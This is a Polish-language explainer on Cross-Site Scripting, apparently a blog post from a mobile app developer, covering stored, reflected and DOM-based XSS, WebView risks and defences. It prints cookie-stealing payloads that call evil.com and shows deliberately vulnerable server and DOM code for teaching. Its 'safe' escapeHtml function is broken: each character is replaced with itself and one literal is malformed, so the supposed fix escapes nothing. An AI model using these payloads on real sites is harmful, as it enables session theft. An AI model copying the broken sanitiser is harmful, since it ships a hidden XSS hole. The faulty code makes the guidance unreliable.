XSS (Cross-Site Scripting) — typ podatności aplikacji internetowych, w której atakujący wstrzykuje złośliwy kod JavaScript w treść wyświetlaną innym użytkownikom. Według danych OWASP Top Ten (2025), XSS pozostaje jedną z najczęstszych podatności, dotykającą ponad 60% aplikacji internetowych. Cross-site scripting pozwala kraść sesyjne cookie, przekierowywać użytkowników na strony phishingowe i modyfikować zawartość stron w czasie rzeczywistym.
Najważniejsze
XSS (Cross-Site Scripting) — to podatność, która pozwala atakującemu wstrzyknąć kod JavaScript na stronę internetową, która następnie wykonuje się w przeglądarce ofiary. Przeglądarka ładuje stronę z zaufanej witryny i wykonuje wstrzyknięty skrypt z tymi samymi uprawnieniami co legalny kod witryny. Daje to atakującemu dostęp do cookie, session storage, drzewa DOM strony oraz możliwość wysyłania żądań w imieniu ofiary. Podatności XSS powstają, gdy aplikacja wstawia dane użytkownika do strony HTML bez odpowiedniego escape'owania lub walidacji.
Termin Cross-Site Scripting pojawił się po raz pierwszy w 2000 roku w biuletynie bezpieczeństwa Microsoft. W ciągu ostatnich 25 lat XSS nie stracił na aktualności: według danych HackerOne (2025), XSS stanowi około 22% wszystkich zarejestrowanych podatności na platformie. Przyczyną żywotności XSS jest złożoność kontroli wszystkich punktów wejścia danych użytkownika. Każde pole wejściowe, parametr URL, nagłówek żądania HTTP lub nazwa pliku może stać się wektorem ataku, jeśli dane są odzwierciedlane w kodzie HTML bez przetworzenia.
Ataki XSS mogą prowadzić do kradzieży sesyjnych cookie, co pozwala atakującemu zalogować się na konto ofiary bez hasła. Inne konsekwencje: przekierowanie na strony phishingowe, podmiana zawartości strony, kradzież danych osobowych, instalacja złośliwego oprogramowania (drive-by download). W 2023 roku atak przez XSS na platformę Salesforce Community Cloud dotknął dane tysięcy klientów korporacyjnych, pokazując, że nawet duże platformy nie są odporne na tę podatność.
Klasyfikacja XSS dzieli ataki na trzy główne typy według sposobu dostarczania złośliwego kodu. Każdy typ wymaga innego podejścia do ochrony: Stored XSS jest blokowany przez escape'owanie wyjścia z bazy danych, Reflected — przez escape'owanie parametrów URL, DOM-based — przez bezpieczną pracę z DOM-API. Zrozumienie różnicy to podstawa skutecznej strategii bezpieczeństwa.
| Typ | Przechowywanie skryptu | Wektor dostarczenia | Trudność wykrycia |
|---|---|---|---|
| Stored XSS | Baza danych serwera | Komentarze, profile, wiadomości | Średnia |
| Reflected XSS | Parametry URL | Linki phishingowe, e-mail | Wysoka |
| DOM-based XSS | JavaScript kliencki | Fragmenty URL, postMessage | Bardzo wysoka |
Najniebezpieczniejszy typ XSS. Atakujący wstrzykuje skrypt do danych, które serwer przechowuje w bazie danych i wyświetla przy każdym ładowaniu strony. Typowy wektor — pole komentarza: atakujący publikuje komentarz z <script>document.location='https://evil.com/?c='+document.cookie</script>. Każdy użytkownik, który załaduje stronę z tym komentarzem, wysyła swoje cookie atakującemu. Stored XSS nie wymaga od ofiary żadnych działań poza odwiedzeniem strony — to czyni go szczególnie niebezpiecznym dla portali społecznościowych, forów i blogów.
Złośliwy skrypt jest przekazywany w żądaniu HTTP (zwykle w parametrze URL) i natychmiast odzwierciedlany przez serwer w odpowiedzi. Atakujący tworzy link postaci https://example.com/search?q=<script>...</script> i rozpowszechnia go przez phishing, media społecznościowe lub e-mail. Ofiara, klikając link, otrzymuje stronę, na której wprowadzone zapytanie (skrypt) jest wyświetlane bez escape'owania. Reflected XSS wymaga inżynierii społecznej — ofiara musi kliknąć link, co zmniejsza, ale nie eliminuje ryzyka.
W przeciwieństwie do Stored i Reflected, DOM-based XSS nie wymaga wysyłania danych na serwer. Podatność powstaje, gdy JavaScript kliencki wstawia dane użytkownika z URL, document.referrer, postMessage lub localStorage do DOM bez bezpiecznego przetworzenia. Na przykład kod postaci document.getElementById('output').innerHTML = location.hash.substring(1) wykonuje dowolny HTML i skrypty z fragmentu URL (#<img onerror='...'>). DOM-based XSS jest najtrudniejszy do wykrycia, ponieważ serwer nigdy nie otrzymuje złośliwego payloadu — jest on w pełni przetwarzany po stronie klienta.
// Przykład DOM-based XSS (KOD PODATNY NA ATAKI)
// Jeśli userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — niebezpieczne: wstawia surowy HTML
document.write('<div>' + userInput + '</div>');
// BEZPIECZNA ALTERNATYWA — użyj textContent
document.getElementById('output').textContent = userInput;
Atak XSS wykorzystuje fundamentalną właściwość sieci: przeglądarka wykonuje JavaScript otrzymany z zaufanej domeny. Jeśli atakujący znajdzie sposób na wstrzyknięcie swojego kodu do odpowiedzi HTML serwera, przeglądarka wykonuje go z tymi samymi uprawnieniami co legalny kod. Atak przebiega w trzech fazach: wstrzyknięcie złośliwego kodu do treści, dostarczenie treści do przeglądarki ofiary i wykonanie kodu z dostępem do DOM, cookie i storage.
Atakujący znajduje punkt wejścia — pole, parametr URL lub nagłówek, którego wartość serwer umieszcza w odpowiedzi HTML bez escape'owania. Typowe punkty wejścia: pola wyszukiwania, pola komentarzy, nazwa użytkownika, URL avatara, pliki cookie, nagłówki HTTP (User-Agent, Referer). Nowoczesne frameworki (React, Angular, Vue) automatycznie escape'ują wyjście, ale programiści mogą wyłączyć escape'owanie przez dangerouslySetInnerHTML, bypassSecurityTrustHtml lub v-html.
W przypadku Reflected XSS atakujący rozpowszechnia złośliwy link. W przypadku Stored XSS wystarczy opublikować treść na docelowej stronie, a każdy odwiedzający staje się ofiarą. DOM-based XSS aktywuje się przy ładowaniu strony z określonym fragmentem URL. Wszystkie trzy fazy mogą być wykonane automatycznie: jeśli XSS zostanie wykryty w banerze reklamowym (treść strony trzeciej), atak dotknie wszystkich użytkowników strony, dopóki baner nie zostanie wyłączony.
// Przykład Reflected XSS w wyszukiwarce (PODATNY BACKEND)
// Zamiast escape'ować parametr q, serwer wstawia go do HTML
// Express.js — podatny handler:
app.get('/search', (req, res) => {
const query = req.query.q; // dane wejściowe użytkownika
res.send(`<h1>Results for: ${query}</h1>`);
});
// BEZPIECZNA WERSJA — escape przez encodeURI lub silnik szablonów:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Aplikacje mobilne również są podatne na ataki XSS, choć w mniejszym stopniu niż strony internetowe. Głównym wektorem jest WebView i frameworki hybrydowe (Cordova, Capacitor, React Native z WebView). Jeśli aplikacja ładuje treści internetowe w WebView — szczególnie treści użytkownika (HTML-e-maile, artykuły, wiadomości) — podatność XSS może prowadzić do wykonania JavaScript wewnątrz aplikacji z dostępem do funkcji natywnych przez mostek JavaScript.
Android WebView domyślnie wykonuje JavaScript. Jeśli aplikacja ładuje ciąg HTML przez loadDataWithBaseURL() lub wyświetla treści użytkownika, atak XSS może dać atakującemu dostęp do interfejsu JavaScript (addJavascriptInterface). Google zakazał używania @JavascriptInterface dla API < 17, ale legacy-kod w starych aplikacjach wciąż występuje. Ochrona: wyłączaj JavaScript w WebView, jeśli nie jest potrzebny, i używaj safe browsing.
React Native nie używa WebView do UI — komponenty są renderowane w natywnych widokach. Jednak przy wyświetlaniu HTML przez react-native-webview lub komponenty rich-text ryzyko XSS powraca. Flutter używa własnego silnika renderowania (Skia) i nie obsługuje JavaScript w widżetach HTML (flutter_html nie wykonuje tagów script), ale wtyczki WebView (webview_flutter) są podatne analogicznie do natywnych WebView. Najlepsza praktyka — nigdy nie przekazuj niesprawdzonego HTML do WebView.
// Bezpieczna konfiguracja WebView w Androidzie
val webView = findViewById<WebView>(R.id.webview)
// Wyłączamy JavaScript, jeśli interaktywność nie jest potrzebna
webView.settings.javaScriptEnabled = false
// Sanityzujemy HTML przed załadowaniem
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Ochrona przed XSS opiera się na trzech zasadach: nie ufaj danym wejściowym użytkownika, escape'uj przed wyjściem, używaj Content Security Policy. Escape'owanie wyjścia (output encoding) — najważniejsza metoda: wszystkie dane otrzymane od użytkownika powinny być escape'owane przed wstawieniem do HTML, JavaScript, CSS lub URL. Nowoczesne silniki szablonów (Twig, Handlebars, JSX, Blade) robią to automatycznie, jeśli programista nie wyłączy escape'owania specjalnymi metodami.
Escape'owanie zależy od kontekstu wstawiania danych. W kontekście HTML escape'uje się <, >, &, cudzysłowy. W kontekście JavaScript escape'uje się backticks,
, </script>. W kontekście CSS — znaki sterujące. W kontekście URL — kodowanie URL. Błąd kontekstu — na przykład wstawienie HTML-escape'owanego ciągu w atrybut onclick — nie chroni przed XSS, ponieważ onclick wykonuje się w kontekście JavaScript, gdzie potrzebne jest inne escape'owanie.
CSP — nagłówek HTTP ograniczający źródła, z których przeglądarka może ładować skrypty, style i inne zasoby. Surowe CSP (bez unsafe-inline, bez unsafe-eval) blokuje wykonywanie wszelkich inline-skryptów, w tym wektorów XSS. Według danych Google Security Blog (2025), strony z CSP blokują 95% ataków XSS. Przykład: Content-Security-Policy: default-src 'self'; script-src 'self' zabrania wszelkich zewnętrznych i inline-skryptów. CSP nie chroni przed Stored XSS, jeśli skrypt jest ładowany z tej samej domeny, ale wymaga to dodatkowego wysiłku od atakującego.
Ustawienie flagi HttpOnly dla cookie zapobiega dostępowi do nich przez JavaScript (document.cookie), co blokuje kradzież sesyjnych cookie przez XSS. Flaga Secure gwarantuje, że cookie jest przesyłane tylko przez HTTPS. Kombinacja HttpOnly + Secure + SameSite=Lax sprawia, że kradzież sesyjnych cookie przez XSS jest praktycznie niemożliwa. Jednak XSS wciąż może wykonywać działania w imieniu użytkownika (na przykład wysyłać żądania), dlatego HttpOnly nie jest panaceum, ale częścią kompleksowej ochrony.
| Metoda ochrony | Przed jakimi typami XSS chroni | Skuteczność |
|---|---|---|
| Escape'owanie wyjścia | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly cookie | Kradzież sesji przez XSS | 100% (nie do odczytu) |
| Walidacja wejścia | Stored, Reflected | 50% (zależy od typu) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Regularne testowanie na XSS — obowiązkowa część CI/CD pipeline bezpiecznego programowania. Zautomatyzowane skanery znajdują do 80% podatności XSS, pozostałe wymagają ręcznego pentestu. Najlepsze podejście to kombinacja analizy SAST (statycznej), skanowania DAST (dynamicznego) i code review z naciskiem na punkty wejścia danych użytkownika.
Dla aplikacji mobilnych testowanie XSS obejmuje analizę WebView: sprawdzanie interfejsów JavaScript, obsługę schematów URL i przekazywanie HTML do loadDataWithBaseURL. Zaleca się również testowanie obsługi postMessage w aplikacjach hybrydowych i sprawdzanie, jakie dane są przekazywane przez mostek JavaScript. Używaj emulatora z proxy (Burp Suite) do przechwytywania i modyfikacji ruchu aplikacji mobilnej.
Często zadawane pytania
Stored XSS przechowuje złośliwy skrypt na serwerze (w bazie danych) i uruchamia się przy każdym ładowaniu strony. Reflected XSS przekazuje skrypt przez parametr URL, a atak uruchamia się tylko po kliknięciu w złośliwy link. Stored jest niebezpieczniejszy, ponieważ nie wymaga działań ofiary — wystarczy otworzyć zainfekowaną stronę.
Nie, HTTPS nie chroni przed XSS. HTTPS szyfruje ruch między przeglądarką a serwerem, ale nie wpływa na przetwarzanie danych wejściowych użytkownika po stronie serwera. Podatność XSS istnieje na poziomie aplikacji, a nie transportu. HTTPS to obowiązkowe minimum bezpieczeństwa, ale nie ochrona przed XSS.
W większości przypadków XSS wykonuje się w piaskownicy przeglądarki lub WebView i nie ma dostępu do systemu plików ani sprzętu urządzenia. Jednak w Android WebView z włączonym interfejsem JavaScript skrypt XSS może wywołać natywne metody aplikacji. W iOS WKWebView również może ujawnić dane przez JavaScriptCore, jeśli skonfigurowano odpowiedni mostek.
Użyj Burp Suite lub OWASP ZAP z skonfigurowanym proxy na urządzeniu mobilnym. Przechwytuj żądania aplikacji, modyfikuj parametry i przesyłaj XSS-payloady. Sprawdzaj WebView pod kątem przetwarzania HTML przez loadDataWithBaseURL i obecności mostków JavaScript. Dla React Native testuj komponenty WebView osobno.
DOM-based XSS — to atak, w którym JavaScript na stronie sam pobiera dane z URL lub innych źródeł i wstawia je do HTML bez sprawdzenia. Serwer nie uczestniczy — złośliwy kod jest w pełni przetwarzany w przeglądarce. Typowy przykład: strona pobiera tekst z location.hash i wstawia go przez innerHTML, co pozwala na wykonanie dowolnego kodu HTML.
Podsumowanie
Opracujemy aplikację mobilną pod klucz
IT Sectr tworzy aplikacje na iOS i Androida dla startupów i firm od 2017 roku. Doradzimy Ci i zaproponujemy najlepsze rozwiązanie.
Przeczytaj również